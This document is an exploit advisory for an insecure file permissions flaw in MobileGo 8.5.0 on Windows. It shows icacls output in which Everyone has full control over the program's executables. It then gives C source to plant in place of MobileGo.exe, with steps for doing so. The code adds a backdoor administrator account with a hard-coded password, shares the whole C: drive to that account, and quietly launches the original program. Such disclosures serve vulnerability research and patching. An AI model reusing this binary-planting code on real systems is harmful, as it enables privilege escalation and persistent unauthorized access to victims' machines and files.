MobileGo 8.5.0 Insecure File Permissions

`# Exploit Title: MobileGo 8.5.0 - Insecure File Permissions  
# Exploit Author: ZwX  
# Exploit Date: 2019-11-15  
# Vendor Homepage : https://www.wondershare.net/  
# Software Link: https://www.wondershare.net/mobilego/  
# Tested on OS: Windows 7   
  
  
# Proof of Concept (PoC):  
==========================  
C:\Program Files\Wondershare\MobileGo>icacls *.exe  
adb.exe Everyone:(I)(F)  
AUTORITE NT\Système:(I)(F)  
BUILTIN\Administrateurs:(I)(F)  
BUILTIN\Utilisateurs:(I)(RX)  
  
APKInstaller.exe Everyone:(I)(F)  
AUTORITE NT\Système:(I)(F)  
BUILTIN\Administrateurs:(I)(F)  
BUILTIN\Utilisateurs:(I)(RX)  
  
BsSndRpt.exe Everyone:(I)(F)  
AUTORITE NT\Système:(I)(F)  
BUILTIN\Administrateurs:(I)(F)  
BUILTIN\Utilisateurs:(I)(RX)  
  
DriverInstall.exe Everyone:(I)(F)  
AUTORITE NT\Système:(I)(F)  
BUILTIN\Administrateurs:(I)(F)  
BUILTIN\Utilisateurs:(I)(RX)  
  
fastboot.exe Everyone:(I)(F)  
AUTORITE NT\Système:(I)(F)  
BUILTIN\Administrateurs:(I)(F)  
BUILTIN\Utilisateurs:(I)(RX)  
  
FetchDriver.exe Everyone:(I)(F)  
AUTORITE NT\Système:(I)(F)  
BUILTIN\Administrateurs:(I)(F)  
BUILTIN\Utilisateurs:(I)(RX)  
  
MGNotification.exe Everyone:(I)(F)  
AUTORITE NT\Système:(I)(F)  
BUILTIN\Administrateurs:(I)(F)  
BUILTIN\Utilisateurs:(I)(RX)  
  
MobileGo.exe Everyone:(I)(F)  
AUTORITE NT\Système:(I)(F)  
BUILTIN\Administrateurs:(I)(F)  
BUILTIN\Utilisateurs:(I)(RX)  
  
MobileGoService.exe Everyone:(I)(F)  
AUTORITE NT\Système:(I)(F)  
BUILTIN\Administrateurs:(I)(F)  
BUILTIN\Utilisateurs:(I)(RX)  
  
unins000.exe Everyone:(I)(F)  
AUTORITE NT\Système:(I)(F)  
BUILTIN\Administrateurs:(I)(F)  
BUILTIN\Utilisateurs:(I)(RX)  
  
URLReqService.exe Everyone:(I)(F)  
AUTORITE NT\Système:(I)(F)  
BUILTIN\Administrateurs:(I)(F)  
BUILTIN\Utilisateurs:(I)(RX)  
  
WAFSetup.exe Everyone:(I)(F)  
AUTORITE NT\Système:(I)(F)  
BUILTIN\Administrateurs:(I)(F)  
BUILTIN\Utilisateurs:(I)(RX)  
  
WsConverter.exe Everyone:(I)(F)  
AUTORITE NT\Système:(I)(F)  
BUILTIN\Administrateurs:(I)(F)  
BUILTIN\Utilisateurs:(I)(RX)  
  
WsMediaInfo.exe Everyone:(I)(F)  
AUTORITE NT\Système:(I)(F)  
BUILTIN\Administrateurs:(I)(F)  
BUILTIN\Utilisateurs:(I)(RX)  
  
  
  
#Exploit code(s):   
=================  
  
1) Compile below 'C' code name it as "MobileGo.exe"  
  
#include<windows.h>  
  
int main(void){  
system("net user hacker abc123 /add");  
system("net localgroup Administrators hacker /add");  
system("net share SHARE_NAME=c:\ /grant:hacker,full");  
WinExec("C:\\Program Files\\Wondershare\\MobileGo\\~MobileGo.exe",0);  
return 0;  
}   
  
2) Rename original "MobileGo.exe" to "~MobileGo.exe"  
3) Place our malicious "MobileGo.exe" in the MobileGo directory  
4) Disconnect and wait for a more privileged user to connect and use MobileGo IDE.   
Privilege Successful Escalation  
`